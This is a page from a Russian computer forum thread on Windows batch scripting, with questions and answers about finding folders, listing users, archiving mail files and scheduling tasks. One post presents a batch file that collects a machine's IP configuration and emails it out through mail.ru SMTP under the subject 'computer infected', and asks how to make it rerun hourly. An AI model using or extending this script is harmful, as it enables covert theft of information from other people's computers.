Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Компьютеры » Программы » Командная строка, батники, сценарии (bat, cmd)

Модерирует : gyra, Maz

Widok (03-03-2010 16:29): Лимит страниц. Продолжаем здесь.  Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101

   

Widok



Moderator-Следопыт
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Командная строка, батники\сценарии (bat, cmd)
(часть 1) (часть 2)
Вопросы, задачи и их решения по работе с командной строкой, файлами, а также сопутствующие ссылки.

 
Важно: копируя батник через буфер обмена из форума не забывайте удалять пробелы в конце каждой строки, т.к. в некоторых случаях из-за этого программа будет работать неправильно!!!
 
Примечание: Большие куски кода заключайте в тэг [more]  
 
Смежные темы:
В помощь системному администратору » Автоматизация администрирования
Microsoft Windows » Задачи на bat-файлах 5
 
Полезные ссылки:
· Cmd. Описание от разработчиков
· Урок bat-аники (для начинающих)
· Курс лекций для начинающих. Полезно и просто описано
· Набор GNU утилит для win32
· Пакет утилит для организации интерфейса в bat-файлах
· Использование ansi.sys
· cmdow — изменение параметров и видимости дос-окна
· blat — отправка почты из консоли
· Справка по командам в виде Html
· Команды RunDll32
· Quick Batch File Compiler - Позволяет превратить ваш батник в независимое приложение
· Пример - получение и обработка списка пользователей
· Уильям Станек - Командная строка Microsoft Windows (вплоть до w2k3)
· Простой способ получать текущую дату всегда в одном формате (не зависит от языков и настроек)
· Переход из 32-битной версии cmd.exe в 64-битную

Всего записей: 24190 | Зарегистр. 07-04-2002 | Отправлено: 12:38 10-03-2009 | Исправлено: TechnicsKuzya, 13:54 27-12-2009
Maza_Faka



Advanced Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
D555
HSTART; CMDOW

Всего записей: 1420 | Зарегистр. 25-10-2006 | Отправлено: 08:29 16-04-2009
guru431

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Помогите решить задачу:  
В корне диска "С:" есть некая папка, имя которой может быть любым. В этой папке находится другая папка, имя которой всегда одинаково - "Folder". В папке Folder всегда будет лежать файл с именем - "Files.txt".  
Вопрос: нужет батник, который найдет и удалит эту папку (имя которой неизвестно) со всем её содержимым.


Цитата:
@echo off  
for /d %%i in (C:\*) do (dir /b "%%i\Folder\files.txt" 2>nul 1>&2 && rd /s /q "%%i")  
 

 
Как модифицировать этот код, чтобы неизвестная папка не удалялась, а вместо этого создавалась переменная с именем этой папки?

Всего записей: 66 | Зарегистр. 28-02-2007 | Отправлено: 09:43 16-04-2009
01MDM



Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Помогите решить задачу:  
В корне диска "С:" есть некая папка, имя которой может быть любым. В этой папке находится другая папка, имя которой всегда одинаково - "Folder". В папке Folder всегда будет лежать файл с именем - "Files.txt".  
Вопрос: нужет батник, который найдет и удалит эту папку (имя которой неизвестно) со всем её содержимым.

 
Так известна папка или нет? Если имеется ввиду родительская папка для "Folder", то

Код:
 
@echo off
setlocal
 
for /d %%i in (*) do (
    dir /b "%%i\Folder\files.txt" 2>nul 1>&2 && set "var=%%~nxi"
)
echo %var%
 

Всего записей: 2638 | Зарегистр. 13-02-2006 | Отправлено: 10:26 16-04-2009 | Исправлено: 01MDM, 10:38 16-04-2009
Ni9999



Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Есть одна интересная задачка из разряда "сделать поудобнее".
Существует текстовый файлик (main.txt)в котором хранится общая часть, и существуют файлики (jab.cmd), в начале которого должна быть эта общая часть, и затем идет разнящаяся.
Так вот батничек должен каким-то образом вставлять в себя эту общую часть, и затем исполниться как буд-то эта общая часть изначально была в этом батнике.
Общая часть и сам батник хранится на шаре. Кодировка везде 1251.
Приемлемы все способы и заклинания :)

Всего записей: 141 | Зарегистр. 18-08-2008 | Отправлено: 10:52 16-04-2009
rosalin



Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Ребята может кто сталкивался есть папка с файлами вида  
 
файлов несколько сотен тысяч  
 
pd50000000001.msg  
pd50000000002.msg  
pd50000000003.msg  
pd50000000004.msg  
pd50000000005.msg  
pd50000000006.msg  
pd50000000007.msg  
 
это почтовые сообщения подскажите скриптик который при запуске заархивирует файлы с разбивкой по месяцам , типа mm.yyyy  

----------

Всего записей: 2588 | Зарегистр. 15-04-2003 | Отправлено: 11:09 16-04-2009
guru431

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Так известна папка или нет? Если имеется ввиду родительская папка для "Folder", то  
 
Код:  
@echo off  
setlocal  
 
for /d %%i in (*) do (  
    dir /b "%%i\Folder\files.txt" 2>nul 1>&2 && set "var=%%~nxi"  
)  
echo %var%

 
Да, именно это. Спасибо!!! Только немного подправил для себя:
 
for /d %%i in (C:\*) do (
    dir /b "%%i\Folder\files.txt" 2>nul 1>&2 && set "var=%%~nxi"
)  
echo %var%  
 

Всего записей: 66 | Зарегистр. 28-02-2007 | Отправлено: 11:09 16-04-2009
blood150

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Хочу сильно попросить вас помоч: как сделать чтоб этот батник самозапускался через каждый час после первого нажатия на него?
 
@echo off
ipconfig /all > %systemroot%/system32/ip.txt
sleep 5
echo Chr(39)>%temp%\temp1.vbs
echo Chr(39)>%temp%\temp2.vbs
echo on error resume next > %temp%\temp.vbs
echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs
echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs
echo Call SendPost("smtp.mail.ru", "ВАША ПОЧТА", "ВАШ@mail.ru", "Kuzja", "Копм заражен!") >> %temp%\temp.vbs
echo Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody) >> %temp%\temp.vbs
echo Set iMsg = CreateObject("CDO.Message") >> %temp%\temp.vbs
echo Set iConf = CreateObject("CDO.Configuration") >> %temp%\temp.vbs
echo Set Flds = iConf.Fields >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "ЛОГИН" >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "пАРОЛЬ" >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru" >> %temp%\temp.vbs
echo Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25 >> %temp%\temp.vbs
echo Flds.Update >> %temp%\temp.vbs
echo iMsg.Configuration = iConf >> %temp%\temp.vbs
echo iMsg.To = strTo >> %temp%\temp.vbs
echo iMsg.From = strFrom >> %temp%\temp.vbs
echo iMsg.Subject = strSubject >> %temp%\temp.vbs
echo iMsg.TextBody = strBody >> %temp%\temp.vbs
echo iMsg.AddAttachment "C:\WINDOWS\system32\ip.txt" >> %temp%\temp.vbs
echo iMsg.Send >> %temp%\temp.vbs
echo End Function >> %temp%\temp.vbs
echo Set iMsg = Nothing >> %temp%\temp.vbs
echo Set iConf = Nothing >> %temp%\temp.vbs
echo Set Flds = Nothing >> %temp%\temp.vbs
 
start %temp%\temp.vbs
start %temp%\temp1.vbs
start %temp%\temp2.vbs
 
ВОТ РЕБЯ ТА ОБОЛДЕННЫЙ БАТНИК:
ПРИ НАЖАТИИ НА НЕГО СОЗДАЁТСЯ ФАИЛ (IP.TXT) В ПАПКЕ ВИНДОВС В ФАЙЛЕ СОДЕРЖИТСЯ ИНФОРМАЦИЯ О КОМПЕ IP,ИМЯ И Т.П. И ЭТОТ ФАИЛ ОТСЫЛАЕТСЯ НА ВАШУ ПОЧТУ ЭТОТ ФАИЛ.  
ВАША ПОЧТА-ЗДЕСЬ НАПИШЕТЕ АДРЕС КУДА ПРИДЕТ ФАИЛ IP.TXT
ВАШ@mail.ru-ВЫ ДОЛЖНЫ СОЗДАТЬ ПОЧТУ НА mail.ru  
ЛОГИН-ВАШ КОТОРЫЙ НА mail.ru
пароль-ВАШ НА mail.ru
 

Всего записей: 1 | Зарегистр. 16-04-2009 | Отправлено: 11:22 16-04-2009
guru431

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Подскажите в чем ошибка.
Хочу получить список пользователей на компьютере.
В итоге получается только один пользователь %User1% (не срабатывает SET /A i+=1)
 
SET i=1
for /d %%a in ("C:\Documents and Settings\*") do (dir /b /a:h "%%a\Recent\Desktop.ini" 2>nul 1>&2 && SET "User%i%=%%~nxa" && SET /A i+=1)  
echo %User1%  
echo %User2%  
echo %User3%  

Всего записей: 66 | Зарегистр. 28-02-2007 | Отправлено: 12:36 16-04-2009
01MDM



Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
guru431
 

Код:
 
@echo off
setlocal enabledelayedexpansion
 
SET i=1
for /d %%a in ("C:\Documents and Settings\*") do (
    dir /b /a:h "%%a\Recent\Desktop.ini" 2>nul 1>&2 && SET "User!i!=%%~nxa" && SET /A i+=1
)  
echo %User1%  
echo %User2%  
echo %User3%
 

 
Но! Это будет работать только если у тебя есть доступ в дом к пользователям.
 
Лучше такой вариант (в Home версиях может и не работать):

Код:
 
@echo off
setlocal
 
wmic useraccount where status="OK" get Name /value 1>users.txt
 
for /f "tokens=2* delims==" %%i in ('type users.txt') do call:set "%%i"
del users.txt
set user_
goto:eof
 
:set
set /a cnt+=1
set "user_%cnt%=%~1"
 

 

Всего записей: 2638 | Зарегистр. 13-02-2006 | Отправлено: 13:30 16-04-2009
Maza_Faka



Advanced Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
rosalin
Пример:

Код:
 
@Echo Off
 
Set MsgDir=c:\Test
Set ArcDir=C:\Archive
 
For %%A In (%MsgDir%\*.msg) Do Call :_ArcProc "%%A" %%~tA
GoTo :EOF
 
:_ArcProc
7z.exe a %ArcDir%\%2.zip %1
 

Всего записей: 1420 | Зарегистр. 25-10-2006 | Отправлено: 15:06 16-04-2009
DmitriyVassilyev

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Дано простой батник который добавляет задачу в шедулире.  
как запустить данный батник на юзерских компах (300 штук) при помощи другого батника, но только один раз!

Всего записей: 9 | Зарегистр. 06-08-2008 | Отправлено: 16:55 16-04-2009
guru431

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
@echo off  
setlocal  
wmic useraccount where status="OK" get Name /value 1>users.txt  
for /f "tokens=2* delims==" %%i in ('type users.txt') do call:set "%%i"  
del users.txt  
set user_  
goto:eof  
:set  
set /a cnt+=1  
set "user_%cnt%=%~1"

это очень сложно и не работает. если комп в домене, он тянет из него всех пользователей. А мне надо только локальных.

Цитата:
@echo off  
setlocal enabledelayedexpansion  
SET i=1  
for /d %%a in ("C:\Documents and Settings\*") do (dir /b /a:h "%%a\Recent\Desktop.ini" 2>nul 1>&2 && SET "User!i!=%%~nxa" && SET /A i+=1)    
echo %User1%    
echo %User2%    
echo %User3%

А этот выводит только последнего пользователя под переменной %User2% .
В моем варианте было тоже самое, только под переменой %User1%.
Полный доступ к профилям пользователей есть.
Если просматривать ход выполнения, то пользователи находятся все, но переменная присваивается только последнему.
 
 
Добавлено:

Цитата:
если комп в домене, он тянет из него всех пользователей

Теперь знаю сколько пользователей в домене - 5768 учеток

Всего записей: 66 | Зарегистр. 28-02-2007 | Отправлено: 17:03 16-04-2009
Ni9999



Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
мне по сообщению
Цитата:
Есть одна интересная задачка из разряда "сделать поудобнее".
Существует текстовый файлик (main.txt)в котором хранится общая часть, и существуют файлики (jab.cmd), в начале которого должна быть эта общая часть, и затем идет разнящаяся.
Так вот батничек должен каким-то образом вставлять в себя эту общую часть, и затем исполниться как буд-то эта общая часть изначально была в этом батнике.
Общая часть и сам батник хранится на шаре. Кодировка везде 1251.
Приемлемы все способы и заклинания

 никто не поможет?

Всего записей: 141 | Зарегистр. 18-08-2008 | Отправлено: 18:04 16-04-2009 | Исправлено: Ni9999, 18:05 16-04-2009
Maza_Faka



Advanced Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
DmitriyVassilyev

Цитата:
как запустить данный батник на юзерских компах


Код:
 
SCHTASKS /?
 

Всего записей: 1420 | Зарегистр. 25-10-2006 | Отправлено: 18:24 16-04-2009
01MDM



Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
guru431

Цитата:
это очень сложно и не работает

Только для локальных пользователей:

Код:
 
wmic useraccount where (localaccount="true" AND status="OK") get Name /value 1>users.txt  
 


Всего записей: 2638 | Зарегистр. 13-02-2006 | Отправлено: 20:45 16-04-2009
TruLander100

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Прошу помощи в написании батника
Нужно распаковать архив 7z с CD на компьютер в директорию прописанную в файле c:\windos\dkdir.txt но в случае отсутствия этого файла, обратился к другому например C:\dkdir.txt, а в отсутствии и этого файла вывести текст "бла-бла переустановите игру))", содержание этих файлов одинаково [C:\games\kd] ну соответственно файл может иметь другое содержание главное заключено в [].
 
команда для распаковки файлов  
7z.exe e filename.zip -o"Искомая директория"
собсно суть вопроса заключается с считывания директории из файла.
главное что этот батник должен запускаться на windows начиная с 98 - если это возможно

Всего записей: 24 | Зарегистр. 22-03-2009 | Отправлено: 22:50 16-04-2009 | Исправлено: TruLander100, 04:12 17-04-2009
Xma111

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Доброго времени суток.
 
Помогите, плиз.
Возможно ли батником сделать такую вещь:
 
Есть файл например db.cfg а его содержимое
"
qqq1
qqq2
qqq3
"
 
Как прочитать строки в этом файле и работать с ними в дальнейшем, например
 
Copy e:\qqq1\*.*
Copy e:\qqq2\*.*
Copy e:\qqq3\*.*
 
Просто содержимое *.cfg бывает разным, каждый раз прописывать - тяжко.
 
=====
Заранее благодарю.

Всего записей: 6 | Зарегистр. 16-04-2009 | Отправлено: 23:48 16-04-2009
TruLander100

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
пп

Всего записей: 24 | Зарегистр. 22-03-2009 | Отправлено: 00:29 17-04-2009
DmitriyVassilyev

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
if exist "%APPDATA%\Domain\rem.txt" goto skipp
at 17:50 /interactive /every:M,T,W,Th,F,S,Su "\\задание"
MD "%APPDATA%\Domain"
echo veryimportantfiledhskdfjkdhfks > "%APPDATA%\Domain\rem.txt"
:skipp
 
поборол таким образом

Всего записей: 9 | Зарегистр. 06-08-2008 | Отправлено: 08:38 17-04-2009
artemk

Full Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
прошу прощения.
не смог найти, как запустить батник от имени др пользователя, без запроса пароля этого пользователя?
чтоб пользователь только запустил сценарий, а там уже запускался батник от имени другого пользователя, без предложения ввести пароль

Всего записей: 600 | Зарегистр. 02-02-2006 | Отправлено: 10:07 17-04-2009
   

Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101

Компьютерный форум Ru.Board » Компьютеры » Программы » Командная строка, батники, сценарии (bat, cmd)
Widok (03-03-2010 16:29): Лимит страниц. Продолжаем здесь.


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2024

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru